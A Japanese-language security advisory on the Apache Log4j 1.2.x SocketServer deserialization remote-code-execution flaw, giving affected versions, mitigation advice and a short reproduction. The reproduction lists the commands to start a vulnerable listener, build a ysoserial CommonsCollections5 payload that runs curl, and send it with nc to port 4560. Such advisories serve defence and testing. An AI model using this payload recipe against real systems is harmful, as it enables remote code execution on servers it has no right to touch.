
Apache Log4j 1.2.Xには逆シリアル化によるリモートコード実行の脆弱性が存在します
脆弱性警告参考リンク: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j は、米国 Apache ソフトウェア財団が開発した Java ベースのオープンソースログ記録ツールです。Apache Log4j 1.2.X シリーズには、逆シリアル化によるリモートコード実行の脆弱性が存在します。攻撃者はこの脆弱性を利用して任意の悪意あるコマンドを実行する可能性があります。Log4j 1.2.X には SocketServer クラスが含まれており、このクラスは信頼できないデータの逆シリアル化に対して脆弱です。ログデータをリッスンする信頼できないネットワークトラフィックを扱う際、逆シリアル化ガジェットと組み合わせることで、このクラスを利用してリモートから任意のコードを実行できます。影響範囲は現時点の最新バージョンも含みます。
高リスク
影響範囲
1.2.4 <= Apache Log4j <= 1.2.17 (最新版)
修正推奨
Apache Log4j 2 シリーズの最新バージョンにアップグレードする
当該クラスが使用するソケットポートをインターネットに公開しないようにする
Apache Log4j 2.8.1 の時代にも逆シリアル化リモートコード実行脆弱性 (CVE-2017-5645) が存在し、その際のトリガークラスは org.apache.logging.log4j.core.net.server.TcpSocketServer でした。Apache Log4j 1.2.X では脆弱性クラスが org.apache.log4j.net.SocketServer に変わりました。
調査の結果、log4j 1.X の SocketServer を起動する方法は Java コードではなく、java コマンドを使用することがわかりました(他の起動方法があればお知らせください)。
同様に、影響を受ける jar ファイルとコード実行可能な jar ファイルをダウンロードし、環境変数に設定する必要があります(以下は Windows 環境です)。サービスを起動し、3つのパラメータ(ポート番号、log4j 設定ファイル、lcf ディレクトリ)を渡します。
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
関連 jar ファイル取得先:https://github.com/shadow-horse/Vulenvironment/libs